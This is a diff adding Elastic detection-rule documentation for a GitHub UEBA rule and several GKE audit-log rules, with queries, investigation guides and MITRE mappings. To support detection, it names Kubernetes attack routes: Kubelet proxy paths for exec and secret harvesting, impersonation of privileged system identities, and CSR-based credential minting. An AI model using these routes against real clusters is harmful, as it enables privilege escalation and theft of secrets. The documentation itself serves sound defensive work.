+* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub UEBA - Multiple Alerts from a GitHub Account* + + +User and Entity Behavior Analytics (UEBA) in GitHub environments helps identify unusual patterns that may indicate compromised accounts or tokens. Adversaries might exploit GitHub by executing multiple unauthorized actions within a short period. This detection rule flags such anomalies by monitoring for multiple alerts from the same user within an hour, aiding in prioritizing potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the alert details in the security dashboard to identify the specific user account associated with the multiple alerts. +- Check the recent activity logs for the identified user in GitHub to determine the nature and frequency of actions performed within the alert timeframe. +- Investigate any recent changes to the user's permissions or access levels that might have facilitated unusual activity. +- Correlate the alert data with other security tools or logs to identify any additional suspicious behavior or related alerts involving the same user. +- Contact the user to verify if the actions were legitimate or if they suspect their account or personal access token (PAT) might be compromised. +- If a compromise is suspected, initiate a password reset and revoke any active PATs for the user, and monitor for any further suspicious activity. + + +*False positive analysis* + + +- High-frequency automated workflows or CI/CD pipelines may trigger multiple alerts within an hour. Review these workflows to ensure they are legitimate and consider adding exceptions for known, non-threatening automation. +- Developers or teams working on time-sensitive projects might perform numerous actions in a short period, leading to false positives. Identify these users or teams and create exceptions to prevent unnecessary alerts. +- Scheduled tasks or scripts that interact with GitHub repositories can generate multiple alerts. Verify the legitimacy of these tasks and exclude them from the rule if they are deemed safe. +- Frequent use of GitHub Actions or bots that perform repetitive tasks could be misinterpreted as suspicious activity. Confirm their purpose and add them to an allowlist if they are part of normal operations. +- Consider implementing a review process for alerts that involve known trusted users or service accounts to quickly dismiss false positives without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected GitHub account by revoking all active sessions and tokens to prevent further unauthorized actions. +- Conduct a password reset for the compromised account and enforce multi-factor authentication (MFA) to enhance security. +- Review recent activity logs for the affected account to identify any unauthorized changes or data exfiltration, and revert any malicious modifications. +- Notify the account owner and relevant security teams about the potential compromise to ensure awareness and coordinated response efforts. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional accounts or systems are affected. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity. +- Update and refine access controls and permissions for the affected account to minimize the risk of future unauthorized actions. + +==== Rule query + + +[source, js] +---------------------------------- +signal.rule.tags:("Use Case: UEBA" and "Data Source: Github") and kibana.alert.workflow_status:"open" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-admission-webhook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-admission-webhook-created-or-modified.asciidoc new file mode 100644 index 0000000000..e4f481c40a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-admission-webhook-created-or-modified.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-gke-admission-webhook-created-or-modified]] +=== GKE Admission Webhook Created or Modified + +Detects creation or modification of GKE mutating or validating admission webhook configurations by non-system identities. Malicious webhooks can inject workloads, block security tooling, or intercept API traffic for persistence and defense evasion. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Admission Webhook Created or Modified* + + +Review webhook name, actor, and clientConfig destination in `gcp.audit.request`. + + +*Investigation steps* + + +- Confirm `user.email`, `event.action`, and webhook resource name. +- Inspect webhook URL or in-cluster service target for external endpoints. +- Hunt for pod mutations or blocked security deployments after the change. + + +*False positives* + + +- Approved controller upgrades during change windows. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.outcome:success and event.action:( + "io.k8s.admissionregistration.v1.mutatingwebhookconfigurations.create" or + "io.k8s.admissionregistration.v1.mutatingwebhookconfigurations.update" or + "io.k8s.admissionregistration.v1.mutatingwebhookconfigurations.patch" or + "io.k8s.admissionregistration.v1.validatingwebhookconfigurations.create" or + "io.k8s.admissionregistration.v1.validatingwebhookconfigurations.update" or + "io.k8s.admissionregistration.v1.validatingwebhookconfigurations.patch" +) and not user.email:( + "system:kube-controller-manager" or "system:kube-scheduler" or system\:serviceaccount\:kube-system\:* or + system\:serviceaccount\:gke-managed-system\:* or system\:serviceaccount\:cert-manager\:* or + system\:serviceaccount\:gatekeeper-system\:* or system\:serviceaccount\:kyverno\:* or "system:addon-manager" or + *-operator or *-cainjector or *-webhook or *argocd* or "system:gke-common-webhooks" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-endpoint-permission-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-endpoint-permission-enumeration.asciidoc new file mode 100644 index 0000000000..d7d6643572 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-endpoint-permission-enumeration.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-gke-anonymous-endpoint-permission-enumeration]] +=== GKE Anonymous Endpoint Permission Enumeration + +Detects bursts of GKE API requests from an anonymous identity that probe many distinct actions and resources with mostly failed outcomes. This pattern is consistent with unauthenticated permission enumeration against an exposed API server. On GKE GCP audit logs, unauthenticated probes often omit "client.user.email" (null principal) with Unauthorized failures; those events are included alongside "system:anonymous" / "system:unauthenticated". + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#unauthenticated-api-access +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Reconnaissance +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Anonymous Endpoint Permission Enumeration* + + +Anonymous multi-endpoint failure bursts map which APIs are reachable before credential theft or exploitation. +Treat missing `client.user.email` with Unauthorized/failure bursts as anonymous on GKE. + + +*Investigation steps* + + +- Review `Esql.event_action_values` and `Esql.resource_name_values` for targeted APIs (secrets, RBAC, CRDs). +- Confirm whether `source.ip` is Internet-routable and whether the API endpoint is publicly exposed. +- Hunt for later successful anonymous or authenticated activity from the same source or user agent. + + +*False positives* + + +- Misconfigured auth proxies that strip credentials can make legitimate clients appear anonymous during outages. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and ( + client.user.email in ("system:anonymous", "system:unauthenticated") + or client.user.email is null + ) + and not gcp.audit.resource_name in ("readyz", "livez", "healthz", "version") +| stats + Esql.document_count = count(), + Esql.failure_count = sum(case(event.outcome == "failure", 1, 0)), + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.resource_name_count_distinct = count_distinct(gcp.audit.resource_name), + Esql.event_action_values = values(event.action), + Esql.resource_name_values = values(gcp.audit.resource_name), + Esql.event_outcome_values = values(event.outcome), + Esql.client_user_email_values = values(client.user.email), + Esql.timestamp = VALUES(@timestamp), + Esql.data_stream_namespace = VALUES(data_stream.namespace), + Esql.user_agent_original_values = VALUES(user_agent.original) + by source.ip +| where Esql.event_action_count_distinct > 5 + and Esql.resource_name_count_distinct > 3 + and Esql.document_count < 50 + and Esql.failure_count >= 1 +| keep Esql.*, source.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-pod-create-update-patch.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-pod-create-update-patch.asciidoc new file mode 100644 index 0000000000..fb2ca77088 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-pod-create-update-patch.asciidoc @@ -0,0 +1,106 @@ +[[prebuilt-rule-8-19-34-gke-anonymous-pod-create-update-patch]] +=== GKE Anonymous Pod Create/Update/Patch + +Detects create, update, or patch of pods by an unauthenticated anonymous GKE identity. Anonymous pod mutation is a critical misconfiguration signal and a common path for unauthenticated attackers to deploy workloads or maintain access. Includes "system:anonymous" / "system:unauthenticated" and GKE audit rows with a missing principal (seen on unauthenticated Unauthorized/forbidden pod writes). + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#anonymous-requests +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Anonymous Pod Create/Update/Patch* + + +Anonymous identities creating or mutating pods indicates the API server accepts unauthenticated workload changes. +Failed unauthenticated creates may appear with an empty `client.user.email` and `Unauthorized` / forbidden status. + + +*Investigation steps* + + +- Review `client.user.email`, `event.action`, `event.outcome`, `orchestrator.resource.name`, `orchestrator.namespace`, + and `source.ip`. +- Inspect the pod image, command, and volume mounts for credential theft or reverse shells. +- Check whether anonymous authentication is enabled and remove RBAC grants to `system:anonymous`. + + +*False positives* + + +- Essentially none in production; treat as high-priority misconfiguration until proven otherwise. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and client.user.email:("system:anonymous" or "system:unauthenticated" or not *) and event.action:(io.k8s.core.v1.pods.create or io.k8s.core.v1.pods.patch or io.k8s.core.v1.pods.update) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..76326917e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-34-gke-anonymous-request-authorized-by-unusual-user-agent]] +=== GKE Anonymous Request Authorized by Unusual User Agent + +Detects successful GKE API requests from unauthenticated anonymous identities using an unusual user agent. Attackers may rely on anonymous access for initial cluster access or to avoid attribution. Matches "system:anonymous" / "system:unauthenticated" and GKE audit rows where the principal is missing (common for unauthenticated clients). Common kube-probe health checks (readyz/livez/healthz/version) are excluded. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Anonymous Request Authorized by Unusual User Agent* + + +Anonymous success outside health endpoints can indicate a publicly reachable API server or overly permissive RBAC for +`system:anonymous` / `system:unauthenticated`. On GKE via GCP audit, some unauthenticated clients omit +`client.user.email`; those successes are included when the user agent is unusual. + + +*Investigation steps* + + +- Review `client.user.email`, `event.action`, `gcp.audit.resource_name`, `source.ip`, and `user_agent.original`. +- Confirm whether the API server is Internet-exposed and whether anonymous auth is intentionally enabled. +- Hunt for follow-on anonymous pod mutations, secret reads, or RBAC changes from the same source. + + +*False positives* + + +- Custom health or readiness endpoints not covered by the built-in exclusions; add environment-specific exceptions after review. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:success and client.user.email:("system:anonymous" or "system:unauthenticated" or not *) and user_agent.original:(* and not (*kubernetes/$Format or kube-probe*)) and not gcp.audit.resource_name:(healthz or livez or readyz or version or .well-known*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-request-failure-burst-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-request-failure-burst-by-user.asciidoc new file mode 100644 index 0000000000..e089fc0a56 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-request-failure-burst-by-user.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-gke-api-request-failure-burst-by-user]] +=== GKE API Request Failure Burst by User + +Detects bursts of failed GKE API requests from a single user identity within a five-minute window. Repeated authorization failures across multiple actions can indicate credential stuffing, RBAC probing, or reconnaissance with stolen tokens. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging +* https://attack.mitre.org/techniques/T1613/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE API Request Failure Burst by User* + + +The rule aggregates failed Kubernetes API calls per `user.email`, source IP, and user agent in five-minute buckets and +alerts when failures reach ten or more. + + +*Investigation steps* + + +- Review `Esql.actions` and `Esql.resources` for targeted API operations. +- Validate whether the identity should exist and whether the source IP is expected. +- Hunt for later successful calls indicating privilege escalation. + + +*False positives* + + +- Misconfigured automation or CI jobs with stale credentials may generate bursts; exclude known service accounts. + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| eval Esql.time_interval = date_trunc(5 minutes, @timestamp) +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and event.outcome == "failure" + and not mv_contains(event.type, "allowed") + and user.email is not null + and not to_string(user.email) rlike "(system:serviceaccount:|system:gke-spiffe-controller|system:kube-scheduler|system:node:).*" +| stats + Esql.unique_actions = count_distinct(event.action), + Esql.failures_count = count(*), + Esql.actions = values(event.action), + Esql.resources = values(orchestrator.resource.name) + by user.email, source.ip, user_agent.original, data_stream.namespace, Esql.time_interval +| where Esql.failures_count >= 10 +| keep Esql.*, user.email, source.ip, user_agent.original, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-request-impersonating-privileged-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-request-impersonating-privileged-identity.asciidoc new file mode 100644 index 0000000000..5d31664d66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-request-impersonating-privileged-identity.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-gke-api-request-impersonating-privileged-identity]] +=== GKE API Request Impersonating Privileged Identity + +Detects GKE API requests where a caller is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a kube-system service account. These identities have broad cluster-wide permissions including unrestricted access to secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC. Impersonating system:kube-controller-manager grants access to secrets across namespaces and service account token minting for lateral movement. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation +* https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE API Request Impersonating Privileged Identity* + + +Compare the real actor (`client.user.email`, `source.ip`, `user_agent.original`) with the impersonated identity in +`gcp.audit.authentication_info.authority_selector` (Cloud Audit `authenticationInfo.authoritySelector`). Confirm +whether impersonation is authorized for that principal and target identity. + + +*Possible investigation steps* + + +- Review `event.action` and `gcp.audit.resource_name` for the scope of the operation performed while impersonating. +- Determine whether the real user or service account should have `impersonate` rights against the target user or group; + inspect RBAC bindings and any recent changes. +- Correlate with adjacent audit activity (secrets, TokenRequest, RBAC writes, CSR approval) from the same source + identity. +- Hunt for repeated impersonation across namespaces or rapid pivoting after the event. + + +*False positive analysis* + + +- Approved admin or scanner workflows that intentionally use `kubectl --as` against privileged targets may match. + Allowlist those identities after review. + + +*Response and remediation* + + +- Revoke or tighten `impersonate` permissions for unexpected identities; rotate credentials for any account that may + have abused impersonation. +- If unauthorized, treat as cluster-wide credential risk: review secrets exposure, issued tokens, and RBAC drift. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. Kubernetes impersonation (`kubectl --as`) maps to +`gcp.audit.authentication_info.authority_selector` in Fleet. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +gcp.audit.authentication_info.authority_selector:( + "admin" or "cluster-admin" or "kubernetes-admin" or "system:admin" or "system:anonymous" or + "system:apiserver" or "system:kube-controller-manager" or "system:kube-proxy" or + "system:kube-scheduler" or "system:volume-scheduler" or + system\:node\:* or system\:serviceaccount\:kube-system\:* +) and +not client.user.email:( + "system:kube-controller-manager" or + "system:kube-scheduler" or + system\:node\:* or + system\:serviceaccount\:kube-system\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-server-proxying-request-to-kubelet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-server-proxying-request-to-kubelet.asciidoc new file mode 100644 index 0000000000..debed4731e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-api-server-proxying-request-to-kubelet.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-gke-api-server-proxying-request-to-kubelet]] +=== GKE API Server Proxying Request to Kubelet + +Detects non-system identities using the GKE nodes/proxy API to reach a node's Kubelet through the API server. The nodes/proxy subresource allows any principal with this permission to call the Kubelet API without direct node network access or Kubelet TLS certificates. Through this path an attacker can list pod specs (including environment secrets), read Kubelet configuration, retrieve container logs, and access running pod metadata on the target node. Monitoring endpoints such as metrics, healthz, and stats/summary are excluded to reduce noise from observability tooling. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/cluster-administration/proxies/ +* https://stratus-red-team.cloud/attack-techniques/kubernetes/k8s.privilege-escalation.nodes-proxy/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: GCP +* Domain: Containers +* Platform: Kubernetes + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE API Server Proxying Request to Kubelet* + + +Review `client.user.email`, `source.ip`, and `user_agent.original` to determine who initiated the proxy request. +Examine `gcp.audit.resource_name` and `event.action` to identify which Kubelet path was accessed after `/proxy/`. + + +*Possible investigation steps* + + +- Check the proxied Kubelet path for attacker intent: + - `/proxy/pods` — pod spec enumeration, including environment variable secrets + - `/proxy/exec` or `/proxy/run` — command execution inside containers on that node + - `/proxy/configz` — Kubelet configuration and authentication settings + - `/proxy/runningpods` — active workload enumeration + - `/proxy/containerLogs` — log harvesting for leaked credentials +- Identify how the principal obtained `nodes/proxy` permission by reviewing RBAC bindings. +- Correlate with TokenRequest activity from the same actor shortly before the proxy call. +- Review whether the same principal proxied multiple nodes in a short window. + + +*False positive analysis* + + +- Monitoring agents that scrape paths other than the excluded metrics/health endpoints may match. Add approved paths + or identities after baselining. +- Cluster admin tools that inspect node health via the proxy API can match during maintenance windows. + + +*Response and remediation* + + +- Review and remove unauthorized RBAC granting `nodes/proxy`. +- If `/proxy/pods` was accessed, rotate secrets and credentials that may have been exposed via environment variables + on that node. +- If `/proxy/exec` or `/proxy/run` was accessed, treat the node as compromised and isolate it. +- Restrict `nodes/proxy` to infrastructure automation only. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:"k8s.io" and event.outcome:success and +event.action:( + "io.k8s.core.v1.nodes.proxy.get" or + "io.k8s.core.v1.nodes.proxy.create" +) and +not gcp.audit.resource_name:(*metrics* or *healthz* or *stats/summary* or *elastic-agent* or *configz*) and +not client.user.email:( + "system:kube-controller-manager" or + "system:kube-scheduler" or + system\:serviceaccount\:kube-system\:* or + system\:node\:* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-certificate-signing-request-api-client-signer-requested.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-certificate-signing-request-api-client-signer-requested.asciidoc new file mode 100644 index 0000000000..aec7c264e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-gke-certificate-signing-request-api-client-signer-requested.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-gke-certificate-signing-request-api-client-signer-requested]] +=== GKE Certificate Signing Request API Client Signer Requested + +Detects creation of a GKE CertificateSigningRequest (CSR) that requests the kubernetes.io/kube-apiserver-client signer. This signer issues general API client certificates with few subject restrictions, unlike the restricted kubelet signers used for node certificate rotation. Attackers with CSR permissions use this signer to mint long-lived credentials for privileged identities such as system:kube-controller-manager, enabling persistence and privilege escalation that survives token revocation and RBAC changes. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/ +* https://kubernetes.io/docs/concepts/security/rbac-good-practices/ +* 